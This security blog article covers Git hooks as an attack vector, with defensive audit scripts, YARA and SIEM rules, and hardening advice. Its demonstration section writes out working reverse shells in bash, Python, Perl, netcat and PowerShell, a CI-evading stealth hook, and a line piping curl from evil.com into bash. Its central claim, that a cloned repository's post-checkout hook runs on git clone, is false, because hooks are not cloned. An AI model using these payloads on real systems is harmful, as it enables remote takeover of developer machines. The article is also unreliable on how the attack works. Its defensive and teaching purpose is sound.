January 19, 2026

Git Hooks: The Hidden RCE Vector in Your Development Workflow

Reading time: ~18 minutes | Level: Intermediate to Advanced

Executive Summary

Git hooks represent one of the most underestimated attack vectors in modern software development. While organizations invest heavily in securing their CI/CD pipelines and container registries, the humble .git/hooks/ directory often escapes scrutiny—providing attackers with a reliable path to code execution on developer workstations.

This article provides a comprehensive technical breakdown of Git hook exploitation, real-world attack scenarios, and actionable defenses for both individual developers and enterprises.


WARNING: The techniques described in this article are for educational and authorized security testing purposes only. Executing these attacks against systems without explicit written permission is illegal in most jurisdictions and may violate computer fraud and abuse laws including the CFAA (US), Computer Misuse Act (UK), and similar legislation worldwide.

Always obtain proper authorization before testing. Use isolated lab environments. The author assumes no responsibility for misuse of this information.


Introduction: Why Git Hooks Matter in Supply Chain Security

The software supply chain has become a prime target for sophisticated threat actors. While much attention focuses on dependency confusion, typosquatting, and compromised packages, Git hooks represent a stealthier vector that operates at the source code management layer itself.

Consider this scenario: A developer clones a repository, and before they even open an IDE, malicious code has already executed on their machine. No user interaction required beyond git clone. No suspicious npm scripts. No malware in the source code. Just a seemingly innocent Git repository.

This is the reality of Git hook exploitation.

Why This Vector is Underestimated

  1. Trust in Version Control: Developers implicitly trust repositories from colleagues and popular open-source projects
  2. Invisible Execution: Hooks execute automatically without visible prompts
  3. Pre-Code Review: Code executes before any human reviews the repository content
  4. Persistence: Hooks survive across branches and can be difficult to detect
  5. Limited Tooling: Most security scanners don't examine .git/ directories

Fundamentals: Understanding Git Hooks

What Are Git Hooks?

Git hooks are executable scripts located in the .git/hooks/ directory of any Git repository. They are triggered automatically by specific Git events, allowing developers to automate tasks like:

  • Linting code before commits
  • Validating commit messages
  • Running tests before pushes
  • Deploying code after merges

Hook File Requirements

For a hook to execute, it must:

  1. Be named correctly (e.g., pre-commit, not pre-commit.sample)
  2. Have execute permissions (chmod +x)
  3. Start with a valid shebang (e.g., #!/bin/sh, #!/usr/bin/env python3)

The .sample Distinction

Git includes example hooks with the .sample extension. These are inert by default—they will not execute until renamed. This is a critical detail:

code
.git/hooks/
├── pre-commit.sample    # INERT - will NOT execute
├── pre-commit           # ACTIVE - WILL execute
├── post-checkout.sample # INERT
└── post-checkout        # ACTIVE - WILL execute

Client-Side vs Server-Side Hooks

TypeLocationExamplesSecurity Context
Client-sideDeveloper machinepre-commit, post-checkout, post-mergeCan compromise developer workstations
Server-sideGit serverpre-receive, update, post-receiveCan compromise CI/CD and deploy processes

This article focuses primarily on client-side hooks due to their higher exploitability in supply chain scenarios.


Comprehensive Hook Reference Table

HookTrigger EventBypass MethodRisk LevelNotes
pre-commitgit commit--no-verifyHighRuns before commit is created
prepare-commit-msggit commit--no-verifyHighCan modify commit message
commit-msggit commit--no-verifyHighValidates commit message
post-commitgit commitNoneHighRuns after commit completes
pre-rebasegit rebase--no-verifyMediumCan abort rebase
post-checkoutgit clone, git checkout--no-checkoutCriticalExecutes on clone!
post-mergegit pull, git mergeNoneHighRuns after merge completes
pre-pushgit push--no-verifyHighCan block push operations
pre-auto-gcAutomatic GCNoneLowRarely triggered
post-rewritegit commit --amend, git rebaseNoneMediumModifying history
sendemail-validategit send-emailNoneLowEmail workflow specific
fsmonitor-watchmanFile system monitoringNoneLowPerformance hook
p4-changelistPerforce integrationNoneLowP4 specific
p4-prepare-changelistPerforce integrationNoneLowP4 specific
p4-post-changelistPerforce integrationNoneLowP4 specific
p4-pre-submitPerforce integrationNoneLowP4 specific
push-to-checkoutReceiving pushNoneMediumNon-bare repos
updateServer-sideNoneHighPer-branch server hook
pre-receiveServer-sideNoneHighServer-side validation
post-receiveServer-sideNoneHighServer-side post-processing
post-updateServer-sideNoneMediumLegacy server hook

Critical Observation

Critical Risk: The post-checkout hook is particularly dangerous because it executes during git clone operations. An attacker can craft a repository that compromises the victim the moment they clone it—no additional interaction required.


Attack Vectors

Vector 1: Malicious Repository Distribution

Scenario: Attacker creates/compromises a repository and adds a malicious hook.

code
Attacker                          Victim
   │                                │
   ├─► Create repo with             │
   │   post-checkout hook           │
   │                                │
   ├─► Share link via:              │
   │   - Email                      │
   │   - Social media               │
   │   - Tutorial/blog              │
   │                                │
   │                          ◄─────┤ git clone <repo>
   │                                │
   │   ┌────────────────────────────┤
   │   │ post-checkout executes     │
   │   │ Reverse shell established  │
   │   └────────────────────────────┤
   │                                │
   ◄────────────────────────────────┤ Shell connection
   │                                │

Real-world parallels:

  • Fake "security tools" or "exploit PoCs" on GitHub
  • Typosquatted repository names
  • Compromised popular repositories (rare but devastating)

Vector 2: Supply Chain via Dependencies

Modern development often involves Git submodules or direct repository cloning as part of build processes.

bash
# Build script that clones dependencies
git clone https://github.com/org/library.git deps/library
cd deps/library && ./configure && make install
 
# If library repo is compromised, hooks execute before configure

Vector 3: Social Engineering + Pull Requests

Attackers submit PRs that include:

  1. A .githooks/ directory with "helpful" hooks
  2. A setup script that installs these hooks
  3. Documentation encouraging running the setup script
bash
# Innocent-looking setup.sh
#!/bin/bash
echo "Setting up development environment..."
cp .githooks/* .git/hooks/
chmod +x .git/hooks/*
echo "Done! You can now commit with automatic linting."

Vector 4: Insider Threat

A malicious insider adds hooks to internal repositories:

  • During "tooling improvements"
  • As part of "developer experience" initiatives
  • Hidden in large PRs with many changes

Vector 5: Template Directory Poisoning

Git uses template directories to initialize new repositories. Poisoning these templates provides persistence across all new repositories.

bash
# Attacker gains access and modifies global template
echo 'curl https://evil.com/shell.sh | bash' > \
    /usr/share/git-core/templates/hooks/post-checkout
chmod +x /usr/share/git-core/templates/hooks/post-checkout
 
# Every future `git init` or `git clone` by any user is compromised

Technical Demonstration

Lab Environment Only: Only perform these demonstrations in isolated, controlled environments with no network access to production systems. Use virtual machines or containers with snapshot capabilities.

Lab Environment Setup

Requirements:

  • 2 isolated VMs/containers (attacker + victim)
  • Network connectivity between them only
  • No internet access from the lab

Network Diagram:

code
┌─────────────────────────────────────────────────────────────┐
│                    Isolated Lab Network                     │
│                       10.0.0.0/24                           │
│                                                             │
│  ┌─────────────────┐              ┌─────────────────┐       │
│  │   ATTACKER      │              │    VICTIM       │       │
│  │   10.0.0.10     │◄────────────►│    10.0.0.20    │       │
│  │                 │              │                 │       │
│  │  nc listener    │              │  git client     │       │
│  │  port 4444      │              │                 │       │
│  └─────────────────┘              └─────────────────┘       │
│                                                             │
│            ╳ No external network access ╳                   │
└─────────────────────────────────────────────────────────────┘

Payload Variations

1. Bash Reverse Shell (Linux with /dev/tcp)

bash
#!/bin/bash
# post-checkout hook - executes on git clone
bash -i >& /dev/tcp/10.0.0.10/4444 0>&1

Note: Requires bash compiled with /dev/tcp support (most Linux distributions).

2. Python Reverse Shell (Cross-platform)

python
#!/usr/bin/env python3
import socket,subprocess,os
 
def connect():
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.0.0.10",4444))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    subprocess.call(["/bin/sh","-i"])
 
if __name__ == "__main__":
    try:
        connect()
    except:
        pass  # Fail silently to avoid suspicion
 
    # Exit 0 to not break git operation
    exit(0)

3. Perl Reverse Shell (Common on Unix systems)

perl
#!/usr/bin/perl
use Socket;
$i="10.0.0.10";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
}
# Continue normally if connection fails
exit(0);

4. Netcat Reverse Shell (If nc is available)

bash
#!/bin/bash
# Check for different netcat variants
if command -v nc &> /dev/null; then
    nc -e /bin/sh 10.0.0.10 4444 2>/dev/null || \
    nc 10.0.0.10 4444 -c /bin/sh 2>/dev/null || \
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.10 4444 >/tmp/f &
fi
exit 0

5. PowerShell Reverse Shell (Windows)

powershell
#!/usr/bin/env pwsh
# post-checkout hook for Windows environments
 
$client = New-Object System.Net.Sockets.TCPClient("10.0.0.10",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Attack Execution Steps

On Attacker Machine (10.0.0.10):

bash
# Start listener
nc -lvnp 4444

On Victim Machine (10.0.0.20):

bash
# Clone the malicious repository
git clone http://10.0.0.10/malicious-repo.git
 
# OR if using pre-commit hook, make a commit
cd existing-repo
git commit -m "test"

Result: Reverse shell connection established on the attacker's listener.

Stealthy Payload Considerations

Real-world attacks often include stealth mechanisms:

bash
#!/bin/bash
# Stealthy post-checkout hook
 
# Run payload in background to not block git
(
    sleep 2  # Delay to avoid correlation with clone
 
    # Check if running in CI/CD (avoid detection)
    if [ -n "$CI" ] || [ -n "$GITHUB_ACTIONS" ] || [ -n "$GITLAB_CI" ]; then
        exit 0
    fi
 
    # Payload here
    bash -i >& /dev/tcp/10.0.0.10/4444 0>&1
) &>/dev/null &
 
# Exit successfully to not raise suspicion
exit 0

Mitigations

1. Global Hooks Path Override

The most effective single mitigation: redirect all hook execution to a controlled location.

bash
# Option A: Disable all hooks globally
git config --global core.hooksPath /dev/null
 
# Option B: Point to organization-approved hooks
git config --global core.hooksPath ~/.config/git/hooks-approved
 
# Verify configuration
git config --global --get core.hooksPath

Important: This must be set before cloning untrusted repositories.

2. Safe Directory Configuration (CVE-2022-24765)

Protect against hooks in directories owned by other users:

bash
# Add specific safe directories
git config --global --add safe.directory /path/to/trusted/repo
 
# Or allow current directory
git config --global --add safe.directory '*'  # USE WITH CAUTION

3. Pre-Clone Audit Script

Run this before cloning any repository:

bash
#!/bin/bash
# audit-repo.sh - Audit a repository for suspicious hooks before use
 
REPO_PATH="${1:-.}"
 
echo "=== Git Hook Security Audit ==="
echo "Repository: $REPO_PATH"
echo ""
 
# Check for active hooks (non-.sample files)
HOOKS_DIR="$REPO_PATH/.git/hooks"
 
if [ ! -d "$HOOKS_DIR" ]; then
    echo "[INFO] No .git/hooks directory found"
    exit 0
fi
 
echo "[*] Checking for active hooks..."
 
FOUND_ISSUES=0
 
for hook in "$HOOKS_DIR"/*; do
    # Skip if not a file
    [ -f "$hook" ] || continue
 
    # Skip .sample files
    [[ "$hook" == *.sample ]] && continue
 
    HOOK_NAME=$(basename "$hook")
 
    echo ""
    echo "[WARNING] Active hook found: $HOOK_NAME"
    FOUND_ISSUES=1
 
    # Check permissions
    if [ -x "$hook" ]; then
        echo "  - Has execute permission"
    fi
 
    # Check for suspicious patterns
    echo "  - Scanning for suspicious patterns..."
 
    # Network connections
    if grep -qE '(/dev/tcp|socket|Socket|curl|wget|nc\s|netcat)' "$hook" 2>/dev/null; then
        echo "  [CRITICAL] Network connection patterns detected!"
    fi
 
    # Command execution
    if grep -qE '(eval|exec|system|subprocess|os\.popen)' "$hook" 2>/dev/null; then
        echo "  [HIGH] Command execution patterns detected!"
    fi
 
    # Encoded content
    if grep -qE '(base64|decode|\\x[0-9a-f]{2})' "$hook" 2>/dev/null; then
        echo "  [MEDIUM] Encoded content detected!"
    fi
 
    # Show first 20 lines
    echo "  - First 20 lines:"
    head -20 "$hook" | sed 's/^/    /'
done
 
echo ""
if [ $FOUND_ISSUES -eq 0 ]; then
    echo "[OK] No active hooks found"
else
    echo "[!] Review detected hooks before proceeding"
    exit 1
fi

4. Clone Without Hooks Execution

For untrusted repositories:

bash
# Clone without checkout (prevents post-checkout hook)
git clone --no-checkout https://example.com/repo.git
cd repo
 
# Audit hooks before checkout
ls -la .git/hooks/
 
# Remove or inspect suspicious hooks
rm .git/hooks/post-checkout
 
# Now checkout safely
git checkout main

5. Security Scanning Tools

ToolPurposeIntegration
git-secretsPrevents committing secretsPre-commit hook
gitleaksScans for secrets in reposCI/CD, pre-commit
truffleHogRegex & entropy scanningCI/CD pipeline
YARACustom malware signaturesFile scanning
SemgrepStatic analysisCI/CD, IDE

Example YARA Rule for Malicious Hooks:

yara
rule Malicious_Git_Hook {
    meta:
        description = "Detects potential malicious Git hooks"
        author = "Security Team"
 
    strings:
        $shebang = /^#!\/(bin\/(ba)?sh|usr\/bin\/env (python|perl|ruby))/
 
        // Network indicators
        $net1 = "/dev/tcp/" nocase
        $net2 = "socket.socket" nocase
        $net3 = "Socket" nocase
        $net4 = /\bcurl\b/ nocase
        $net5 = /\bwget\b/ nocase
        $net6 = /\bnc\s/ nocase
        $net7 = "netcat" nocase
 
        // Reverse shell patterns
        $rev1 = "0>&1"
        $rev2 = ">&2"
        $rev3 = "dup2"
 
        // Execution
        $exec1 = /\beval\b/ nocase
        $exec2 = /\bexec\b/ nocase
        $exec3 = "subprocess" nocase
        $exec4 = "os.system" nocase
 
    condition:
        $shebang at 0 and (
            any of ($net*) or
            any of ($rev*) or
            2 of ($exec*)
        )
}

6. Enterprise Git Configuration

For organizations, enforce security via Git configuration:

bash
# /etc/gitconfig (system-wide)
 
[core]
    # Redirect hooks to controlled directory
    hooksPath = /opt/company/git-hooks
 
    # Require signed commits
    # commitGraph = true
 
[safe]
    # Only allow specific directories
    directory = /home/*/projects
    directory = /opt/company/repos
 
[receive]
    # Server-side: reject pushes with hooks
    denyCurrentBranch = refuse
 
[transfer]
    # Validate objects on fetch
    fsckObjects = true

7. Organizational Policies

Implement these policies:

  1. Prohibit client-side hooks in repositories

    • Use server-side hooks for enforcement
    • Use external tools (Husky with explicit setup) for optional client hooks
  2. Code review requirements

    • All scripts (including setup scripts) require review
    • .githooks/ directories require security team approval
  3. Dependency management

    • Audit all repositories before adding as submodules
    • Use --ignore-scripts for npm/yarn where possible:
      bash
      npm install --ignore-scripts
      yarn install --ignore-scripts
  4. Developer training

    • Include Git hook risks in security awareness
    • Provide safe repository cloning procedures

Detection

Indicators of Compromise (IOCs)

Look for these signs of hook exploitation:

bash
# Check for unexpected active hooks
find /home -name ".git" -type d -exec \
    sh -c 'ls "$1/hooks/" 2>/dev/null | grep -v sample' \; \
    -print 2>/dev/null
 
# Check for recently modified hooks
find /home -path "*/.git/hooks/*" -type f \
    ! -name "*.sample" -mtime -7 2>/dev/null
 
# Network connections from git processes
lsof -i -n -P | grep git
 
# Process ancestry check
ps auxf | grep -E "(bash|sh|python|perl).*git"

SIEM Queries

Splunk:

spl
index=endpoint process_name=git
| join [search index=endpoint parent_process_name=git child_process_name IN (bash, sh, python, perl, nc)]
| where network_connections > 0
| table _time, host, user, process_command_line, network_dest

Elastic/Kibana:

json
{
  "query": {
    "bool": {
      "must": [
        {"match": {"process.parent.name": "git"}},
        {"terms": {"process.name": ["bash", "sh", "python", "perl"]}},
        {"exists": {"field": "destination.ip"}}
      ]
    }
  }
}

Attack Flow Diagram

code
┌─────────────────────────────────────────────────────────────────────────────┐
│                        GIT HOOK RCE ATTACK FLOW                             │
└─────────────────────────────────────────────────────────────────────────────┘

   ATTACKER                    DELIVERY                      VICTIM
  ┌─────────┐                 ┌─────────┐                  ┌─────────┐
  │         │                 │         │                  │         │
  │ Create  │    Vectors:     │  Repo   │                  │Developer│
  │Malicious│───────────────► │  with   │                  │Workstat.│
  │  Repo   │  - GitHub       │  Hook   │                  │         │
  │         │  - GitLab       │         │                  │         │
  └────┬────┘  - Phishing     └────┬────┘                  └────┬────┘
       │       - Supply Chain      │                            │
       │                           │                            │
       ▼                           │                            │
  ┌─────────┐                      │                            │
  │ Add     │                      │   git clone <repo>         │
  │ post-   │                      │ ◄──────────────────────────┤
  │checkout │                      │                            │
  │ hook    │                      │                            │
  └─────────┘                      │                            │
                                   │                            │
                                   │      Repository cloned     │
                                   ├───────────────────────────►│
                                   │                            │
                                   │                            ▼
                                   │                     ┌──────────────┐
                                   │                     │ post-checkout│
                                   │                     │ hook EXECUTES│
                                   │                     │  AUTOMATIC   │
                                   │                     └──────┬───────┘
                                   │                            │
                                   │                            ▼
  ┌─────────┐                      │                     ┌──────────────┐
  │Listener │◄─────────────────────┼─────────────────────│Reverse Shell │
  │nc -lvnp │   Outbound TCP 4444  │                     │ Connection   │
  │  4444   │                      │                     └──────────────┘
  └────┬────┘                      │
       │                           │
       ▼                           │
  ┌─────────┐                      │
  │ FULL    │                      │
  │ SHELL   │                      │
  │ ACCESS  │                      │
  └─────────┘                      │

  TIMELINE:
  ═══════════════════════════════════════════════════════════════════════════►
  T+0: Clone    T+1: Hook      T+2: Connection    T+3: Full Access
  initiated     executes       established        on victim machine

Comparative Risk Matrix

Git OperationHooks TriggeredUser Action RequiredBypass AvailableRisk Score
git clonepost-checkoutNone after clone--no-checkout10/10
git pullpost-merge, post-checkoutExecute commandLimited9/10
git checkoutpost-checkoutExecute command--no-checkout8/10
git mergepost-mergeExecute commandNone8/10
git commitpre-commit, commit-msg, post-commitStage + commit--no-verify7/10
git pushpre-pushCommit + push--no-verify6/10
git rebasepre-rebase, post-rewriteExecute command--no-verify6/10
git amapplypatch-msg, pre-applypatch, post-applypatchApply patches--no-verify5/10

Security Checklist

Use this checklist before working with any untrusted repository:

Before Cloning

  • Is the repository from a trusted source?
  • Have you verified the repository URL is not a typosquat?
  • Is core.hooksPath set to a safe location?
  • Are you cloning into an isolated environment?

After Cloning

  • Check .git/hooks/ for active (non-.sample) hooks
  • Review any scripts in .githooks/, scripts/, or similar
  • Verify setup scripts don't install hooks
  • Check for core.hooksPath in .git/config

Ongoing Repository Maintenance

  • Periodically audit hooks in all local repositories
  • Review pull requests for hook-related changes
  • Use --no-verify for commits in unfamiliar repos
  • Keep Git updated for latest security patches

Enterprise Checklist

  • Implement core.hooksPath globally via system config
  • Deploy YARA rules for hook scanning
  • Configure SIEM alerts for suspicious git-spawned processes
  • Include Git security in developer onboarding
  • Audit submodules and external repository dependencies
  • Use transfer.fsckObjects for object validation

CVEDescriptionRelevance
CVE-2022-24765Git unsafe directory ownershipAllows hook execution in shared directories
CVE-2022-29187Git multi-user machine exploitationEscalation via hooks
CVE-2022-39253Local clone optimization exposureData exposure via symbolic links
CVE-2022-39260git shell integer overflowCommand injection possibility
CVE-2023-22490Local clone arbitrary file readSymbolic link exploitation
CVE-2023-23946Path traversal via git applyArbitrary file write

Further Reading


Conclusion

Git hooks represent a significant, often overlooked attack vector in modern software development workflows. The combination of automatic execution, implicit trust in repositories, and limited security tooling makes this vector attractive to sophisticated threat actors.

Key Takeaways

  1. post-checkout is critical: This hook executes on git clone, requiring no user interaction beyond the clone itself.

  2. .sample files are inert: Attacks require removing the .sample extension and ensuring execute permissions.

  3. Mitigations exist: core.hooksPath provides an effective global defense against malicious hooks.

  4. Defense in depth: Combine global configuration with audit scripts, security scanning, and organizational policies.

  5. Education is essential: Developers must understand this risk vector to protect themselves and their organizations.

Immediate Actions

  1. Right now: Set git config --global core.hooksPath /dev/null if you clone untrusted repositories

  2. This week: Audit all local repositories for active hooks

  3. This month: Implement organizational policies and detection mechanisms

  4. Ongoing: Include Git hook security in regular security awareness training


Appendix: Quick Reference Commands

bash
# Disable all hooks globally
git config --global core.hooksPath /dev/null
 
# Clone without triggering post-checkout
git clone --no-checkout <url>
 
# Commit without pre-commit/commit-msg hooks
git commit --no-verify -m "message"
 
# Push without pre-push hook
git push --no-verify
 
# List active hooks in a repository
ls -la .git/hooks/ | grep -v sample
 
# Find all active hooks system-wide
find ~ -path "*/.git/hooks/*" -type f ! -name "*.sample" -ls 2>/dev/null
 
# Check current hooks configuration
git config --get core.hooksPath

This article is provided for educational purposes to help security professionals and developers understand and defend against Git hook exploitation. Always conduct security testing only with proper authorization.